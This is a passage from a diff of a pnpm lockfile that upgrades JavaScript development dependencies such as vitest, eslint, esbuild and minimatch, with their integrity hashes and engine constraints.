'@vitest/pretty-format@3.2.6': + resolution: {integrity: sha512-lb7XXXzmm2h2ASzFnRvQpDo6onT1NmMJA3tkGTWiBFtRJ9lxGY3d3mm/Apt36gej2bkkOVLL/yTOtufDaFa/jA==} - '@vitest/runner@3.2.4': - resolution: {integrity: sha512-oukfKT9Mk41LreEW09vt45f8wx7DordoWUZMYdY/cyAk7w5TWkTRCNZYF7sX7n2wB7jyGAl74OxgwhPgKaqDMQ==} + '@vitest/runner@3.2.6': + resolution: {integrity: sha512-HYcoSj1w5tcgUnzoF0HcyaAQjpA1gj9ftUJ7iSJSuipc02jW9gKkigwZbjFldAfYHA1fa8UZVRftdMY5msWM9Q==} - '@vitest/snapshot@3.2.4': - resolution: {integrity: sha512-dEYtS7qQP2CjU27QBC5oUOxLE/v5eLkGqPE0ZKEIDGMs4vKWe7IjgLOeauHsR0D5YuuycGRO5oSRXnwnmA78fQ==} + '@vitest/snapshot@3.2.6': + resolution: {integrity: sha512-H+ZjNTWGpObenh0YnlBctAPnJSI20P81PL8BPzWpx54YXLLTm8hEsWawtcYLMrwvpK48hGxLLbCS+1KRXhsKhw==} - '@vitest/spy@3.2.4': - resolution: {integrity: sha512-vAfasCOe6AIK70iP5UD11Ac4siNUNJ9i/9PZ3NKx07sG6sUxeag1LWdNrMWeKKYBLlzuK+Gn65Yd5nyL6ds+nw==} + '@vitest/spy@3.2.6': + resolution: {integrity: sha512-oq6BbH68WzcWmwtBrU9nqLeaXTR4XwJF7FSLkKEZo4i6eoXcrxjcwSuTvWBIRUTC6VC72nXYunzqgZA+IKdtxg==} - '@vitest/ui@3.2.4': - resolution: {integrity: sha512-hGISOaP18plkzbWEcP/QvtRW1xDXF2+96HbEX6byqQhAUbiS5oH6/9JwW+QsQCIYON2bI6QZBF+2PvOmrRZ9wA==} + '@vitest/ui@3.2.6': + resolution: {integrity: sha512-mATfG3zVdhobE9U1rIpvtYD3DGuSSxqZ3Aj/8ityGqKXy8YDJ9BoAjZmAz6dZ1IZ1xI5V+MerkCczvVa+3QK9Q==} peerDependencies: - vitest: 3.2.4 + vitest: 3.2.6 - '@vitest/utils@3.2.4': - resolution: {integrity: sha512-fB2V0JFrQSMsCo9HiSq3Ezpdv4iYaXRG1Sx8edX3MwxfyNn83mKiGzOcH+Fkxt4MHxr3y42fQi1oeAInqgX2QA==} + '@vitest/utils@3.2.6': + resolution: {integrity: sha512-lI23nIs4bnT3T8NIoh+vFaz5s2/DdP0Jgt2jxwgWljvwn82cLJtyi/If+fjFyoLMGIOz0U/fKvWE0d4jsNQEfg==} acorn-jsx@5.3.2: resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} peerDependencies: acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 - acorn@8.15.0: - resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==} + acorn@8.18.0: + resolution: {integrity: sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==} engines: {node: '>=0.4.0'} hasBin: true - ajv@6.12.6: - resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} + ajv@6.15.0: + resolution: {integrity: sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==} ansi-colors@4.1.3: resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==} engines: {node: '>=6'} - ansi-escapes@4.3.2: - resolution: {integrity: sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==} - engines: {node: '>=8'} - ansi-regex@5.0.1: resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} engines: {node: '>=8'} - ansi-regex@6.1.0: - resolution: {integrity: sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==} + ansi-regex@6.2.2: + resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} engines: {node: '>=12'} ansi-styles@4.3.0: @@ -757,18 +781,17 @@ packages: resolution: {integrity: sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==} engines: {node: '>=12'} - balanced-match@1.0.2: - resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + balanced-match@4.0.4: + resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} + engines: {node: 18 || 20 || >=22} better-path-resolve@1.0.0: resolution: {integrity: sha512-pbnl5XzGBdrFU/wT4jqmJVPn2B6UHPBOhzMQkY/SPUPB6QtUXtmBHBIwCbXJol93mOpGMnQyP/+BB19q04xj7g==} engines: {node: '>=4'} - brace-expansion@1.1.12: - resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==} - - brace-expansion@2.0.2: - resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==} + brace-expansion@5.0.9: + resolution: {integrity: sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==} + engines: {node: 20 || >=22} braces@3.0.3: resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} @@ -778,43 +801,28 @@ packages: resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} engines: {node: '>=8'} - callsites@3.1.0: - resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} - engines: {node: '>=6'} - chai@5.2.1: resolution: {integrity: sha512-5nFxhUrX0PqtyogoYOA8IPswy5sZFTOsBFl/9bNsmDLgsxYTzSZQJDPppDnZPTQbzSEm0hqGjWPzRemQCYbD6A==} engines: {node: '>=18'} - chalk@4.1.2: - resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} - engines: {node: '>=10'} - - chalk@5.5.0: - resolution: {integrity: sha512-1tm8DTaJhPBG3bIkVeZt1iZM9GfSX2lzOeDVZH9R9ffRHpmHvxZ/QhgQH/aDTkswQVt+YHdXAdS/In/30OjCbg==} + chalk@5.6.2: + resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} - chardet@0.7.0: - resolution: {integrity: sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==} - - chardet@2.1.0: - resolution: {integrity: sha512-bNFETTG/pM5ryzQ9Ad0lJOTa6HWD/YsScAR3EnCPZRPlQh77JocYktSHOUHelyhm8IARL+o4c4F1bP5KVOjiRA==} + chardet@2.2.0: + resolution: {integrity: sha512-rddelWYNPRrXq6PtNEN2S3f6t9ILzvqaN5pVgi4kqt9jHQaXIial9PznB5iSPVlQSLNaaH22ItWz3EJtQ10+OA==} check-error@2.1.1: resolution: {integrity: sha512-OAlb+T7V4Op9OwdkjmguYRqncdlx5JiofwOAUkmTF+jNdHwzTaTs4sRAGpzLF3oOz5xAyDGrPgeIDFQmDOTiJw==} engines: {node: '>= 16'} - ci-info@3.9.0: - resolution: {integrity: sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==} - engines: {node: '>=8'} - cli-cursor@5.0.0: resolution: {integrity: sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==} engines: {node: '>=18'} - cli-spinners@2.9.2: - resolution: {integrity: sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==} - engines: {node: '>=6'} + cli-spinners@3.4.0: + resolution: {integrity: sha512-bXfOC4QcT1tKXGorxL3wbJm6XJPDqEnij2gQ2m7ESQuE+/z9YFIWnl/5RpTiKWbMq3EVKR4fRLJGn6DVfu0mpw==} + engines: {node: '>=18.20'} cli-width@4.1.0: resolution: {integrity: sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==} @@ -827,13 +835,10 @@ packages: color-name@1.1.4: resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - commander@14.0.0: - resolution: {integrity: sha512-2uM9rYjPvyq39NwLRqaiLtWHyDC1FvryJDa2ATTVims5YAS4PupsEQsDvP14FqhFr0P49CYDugi59xaxJlTXRA==} + commander@14.0.3: + resolution: {integrity: sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==} engines: {node: '>=20'} - concat-map@0.0.1: - resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} - cross-spawn@7.0.6: resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} engines: {node: '>= 8'} @@ -850,6 +855,15 @@ packages: supports-color: optional: true + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + deep-eql@5.0.2: resolution: {integrity: sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==} engines: {node: '>=6'} @@ -869,9 +883,6 @@ packages: resolution: {integrity: sha512-IrPdXQsk2BbzvCBGBOTmmSH5SodmqZNt4ERAZDmW4CT+tL8VtvinqywuANaFu4bOMWki16nqf0e4oC0QIaDr/g==} engines: {node: '>=10'} - emoji-regex@10.4.0: - resolution: {integrity: sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==} - emoji-regex@8.0.0: resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} @@ -882,8 +893,8 @@ packages: es-module-lexer@1.7.0: resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} - esbuild@0.25.8: - resolution: {integrity: sha512-vVC0USHGtMi8+R4Kz8rt6JhEWLxsv9Rnu/lGYbPR8u47B+DCBksq9JarW0zOO7bs37hyOK1l2/oqtbciutL5+Q==} + esbuild@0.28.1: + resolution: {integrity: sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==} engines: {node: '>=18'} hasBin: true @@ -891,21 +902,21 @@ packages: resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} engines: {node: '>=10'} - eslint-scope@8.4.0: - resolution: {integrity: sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + eslint-scope@9.1.2: + resolution: {integrity: sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} eslint-visitor-keys@3.4.3: resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - eslint-visitor-keys@4.2.1: - resolution: {integrity: sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + eslint-visitor-keys@5.0.1: + resolution: {integrity: sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} - eslint@9.39.2: - resolution: {integrity: sha512-LEyamqS7W5HB3ujJyvi0HQK/dtVINZvd5mAAp9eT5S/ujByGjiZLCzPcHVzuXbpJDJF/cxwHlfceVUDZ2lnSTw==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + eslint@10.8.0: + resolution: {integrity: sha512-nuKKvN+oIBO0koN7Tm7dlkmnkc21mtt0QJLwAKzjLq14y6lRTdVG36MZHJ8eQHwdJMwZbQNMlPOYedMq/oVJvQ==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} hasBin: true peerDependencies: jiti: '*' @@ -913,17 +924,17 @@ packages: jiti: optional: true - espree@10.4.0: - resolution: {integrity: sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + espree@11.2.0: + resolution: {integrity: sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} esprima@4.0.1: resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} engines: {node: '>=4'} hasBin: true - esquery@1.6.0: - resolution: {integrity: sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==} + esquery@1.7.0: + resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==} engines: {node: '>=0.10'} esrecurse@4.3.0: @@ -948,10 +959,6 @@ packages: extendable-error@0.1.7: resolution: {integrity: sha512-UOiS2in6/Q0FK0R0q6UY9vYpQ21mr/Qn1KOnte7vsACuNJf514WvCCUHSRCPcgjPT2bAhNIJdlE6bVap1GKmeg==} - external-editor@3.1.0: - resolution: {integrity: sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==} - engines: {node: '>=4'} - fast-deep-equal@3.1.3: resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} @@ -968,14 +975,6 @@ packages: fastq@1.19.1: resolution: {integrity: sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==} - fdir@6.4.6: - resolution: {integrity: sha512-hiFoqpyZcfNm1yc4u8oWCf9A2c4D3QjCrks3zmoVKVxpQRzmPNar1hUJcBG2RQHvEVGDN+Jm81ZheVLAQMK6+w==} - peerDependencies: - picomatch: ^3 || ^4 - peerDependenciesMeta: - picomatch: - optional: true - fdir@6.5.0: resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} engines: {node: '>=12.0.0'} @@ -1008,8 +1007,11 @@ packages: resolution: {integrity: sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==} engines: {node: '>=16'} - flatted@3.3.3: - resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} + flatted@3.4.3: + resolution: {integrity: sha512-/zipXxyO6rGvuNGDiULY9MvEGSkb2gaG4GGH4ygMi0ZZzyMHdUZBmntJmx5x1G2VuPytCwGN4xsJP6cw+sK+vQ==} + + flatted@3.4.4: + resolution: {integrity: sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==} fs-extra@7.0.1: resolution: {integrity: sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==} @@ -1024,8 +1026,8 @@ packages: engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} os: [darwin] - get-east-asian-width@1.3.0: - resolution: {integrity: sha512-vpeMIQKxczTD/0s2CdEWHcb0eeJe6TFjxb+J5xgX7hScxqrGuyjmv4c1D4A/gelKfyox0gJJwIHF+fLjeaM8kQ==} + get-east-asian-width@1.6.0: + resolution: {integrity: sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==} engines: {node: '>=18'} glob-parent@5.1.2: @@ -1036,10 +1038,6 @@ packages: resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} engines: {node: '>=10.13.0'} - globals@14.0.0: - resolution: {integrity: sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==} - engines: {node: '>=18'} - globby@11.1.0: resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} engines: {node: '>=10'} @@ -1047,34 +1045,22 @@ packages: graceful-fs@4.2.11: resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} - has-flag@4.0.0: - resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} - engines: {node: '>=8'} - human-id@4.1.1: resolution: {integrity: sha512-3gKm/gCSUipeLsRYZbbdA1BD83lBoWUkZ7G9VFrhWPAU76KwYo5KR8V28bpoPm/ygy0x5/GCbpRQdY7VLYCoIg==} hasBin: true - iconv-lite@0.4.24: - resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} - engines: {node: '>=0.10.0'} - - iconv-lite@0.6.3: - resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} + iconv-lite@0.7.2: + resolution: {integrity: sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==} engines: {node: '>=0.10.0'} ignore@5.3.2: resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} engines: {node: '>= 4'} - ignore@7.0.5: - resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==} + ignore@7.0.6: + resolution: {integrity: sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw==} engines: {node: '>= 4'} - import-fresh@3.3.1: - resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} - engines: {node: '>=6'} - imurmurhash@0.1.4: resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} engines: {node: '>=0.8.19'} @@ -1103,10 +1089,6 @@ packages: resolution: {integrity: sha512-2AT6j+gXe/1ueqbW6fLZJiIw3F8iXGJtt0yDrZaBhAZEG1raiTxKWU+IPqMCzQAXOUCKdA4UDMgacKH25XG2Cw==} engines: {node: '>=4'} - is-unicode-supported@1.3.0: - resolution: {integrity: sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==} - engines: {node: '>=12'} - is-unicode-supported@2.1.0: resolution: {integrity: sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==} engines: {node: '>=18'} @@ -1121,12 +1103,12 @@ packages: js-tokens@9.0.1: resolution: {integrity: sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==} - js-yaml@3.14.1: - resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==} + js-yaml@3.15.0: + resolution: {integrity: sha512-ttBQIIQPDeLjpPOohtUdXuXUVoA2uIB6fEH9HyJ7234s5mBJ5wTx20njxplLZQgLaOfpmPQA7X2t5AX6tIPbog==} hasBin: true - js-yaml@4.1.1: - resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} + js-yaml@4.3.0: + resolution: {integrity: sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==} hasBin: true json-buffer@3.0.1: @@ -1156,14 +1138,11 @@ packages: resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} engines: {node: '>=10'} - lodash.merge@4.6.2: - resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} - lodash.startcase@4.4.0: resolution: {integrity: sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg==} - log-symbols@6.0.0: - resolution: {integrity: sha512-i24m8rpwhmPIS4zscNzK6MSEhk0DUWa/8iYQWxhffV8jkI4Phvs3F+quL5xvS0gdQR0FyTCMMH33Y78dDTzzIw==} + log-symbols@7.0.1: + resolution: {integrity: sha512-ja1E3yCr9i/0hmBVaM0bfwDjnGy8I/s6PP4DFp+yP+a+mrHO4Rm7DtmnqROTUkHIkqffC84YY7AeqX6oFk0WFg==} engines: {node: '>=18'} loupe@3.2.0: @@ -1184,12 +1163,9 @@ packages: resolution: {integrity: sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==} engines: {node: '>=18'} - minimatch@3.1.2: - resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} - - minimatch@9.0.5: - resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==} - engines: {node: '>=16 || 14 >=14.17'} + minimatch@10.2.6: + resolution: {integrity: sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==} + engines: {node: 18 || 20 || >=22} mri@1.2.0: resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} @@ -1206,8 +1182,8 @@ packages: resolution: {integrity: sha512-WWdIxpyjEn+FhQJQQv9aQAYlHoNVdzIzUySNV1gHUPDSdZJ3yZn7pAAbQcV7B56Mvu881q9FZV+0Vx2xC44VWA==} engines: {node: ^18.17.0 || >=20.5.0} - nanoid@3.3.11: - resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + nanoid@3.3.16: + resolution: {integrity: sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==} engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} hasBin: true @@ -1231,13 +1207,9 @@ packages: resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} engines: {node: '>= 0.8.0'} - ora@8.2.0: - resolution: {integrity: sha512-weP+BZ8MVNnlCm8c0Qdc1WSWq4Qn7I+9CJGm7Qali6g44e/PUzbjNqJX5NJ9ljlNMosfJvg1fKEGILklK9cwnw==} - engines: {node: '>=18'} - - os-tmpdir@1.0.2: - resolution: {integrity: 